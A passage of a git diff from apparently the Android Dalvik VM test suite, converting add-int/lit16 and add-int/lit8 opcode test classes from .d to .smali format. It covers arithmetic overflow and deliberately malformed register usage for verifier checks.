-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit16 v0, v1, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali
new file mode 100644
index 0000000..9d7910c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit16 v0, v1, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.d
deleted file mode 100644
index 74d8cc0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_9.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali
new file mode 100644
index 0000000..33923b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.d
deleted file mode 100644
index 5286f6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_1.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 8
-       add-int/lit8 v0, v1, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali
new file mode 100644
index 0000000..0af2524
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 8
+       add-int/lit8 v0, v1, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.d
deleted file mode 100644
index 9ef34ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_10.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483648
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali
new file mode 100644
index 0000000..d9a2d13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.d
deleted file mode 100644
index 88c76b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_11.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit8 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali
new file mode 100644
index 0000000..b721faa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.d
deleted file mode 100644
index a8776f7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_12.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -32768
-       add-int/lit8 v0, v1, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali
new file mode 100644
index 0000000..e8bd4a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -32768
+       add-int/lit8 v0, v1, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.d
deleted file mode 100644
index d5a468b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_13.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int/lit8 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali
new file mode 100644
index 0000000..c456a58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/lit8 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.d
deleted file mode 100644
index 873fff0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_14.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int/lit8 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali
new file mode 100644
index 0000000..e28705d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/lit8 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.d
deleted file mode 100644
index 28b894e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_15.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali
new file mode 100644
index 0000000..d54c826
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_15.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.d
deleted file mode 100644
index 3d4d8c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_16.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       add-int/lit8 v0, v3, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali
new file mode 100644
index 0000000..2ca139e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_16.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       add-int/lit8 v0, v3, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.d
deleted file mode 100644
index 6bdf030..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_17.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit8 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali
new file mode 100644
index 0000000..fd19783
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_17.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit8 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.d
deleted file mode 100644
index ef0a0fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_2.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -128
-       add-int/lit8 v0, v1, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali
new file mode 100644
index 0000000..741b8ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -128
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.d
deleted file mode 100644
index 9a49def..0000000
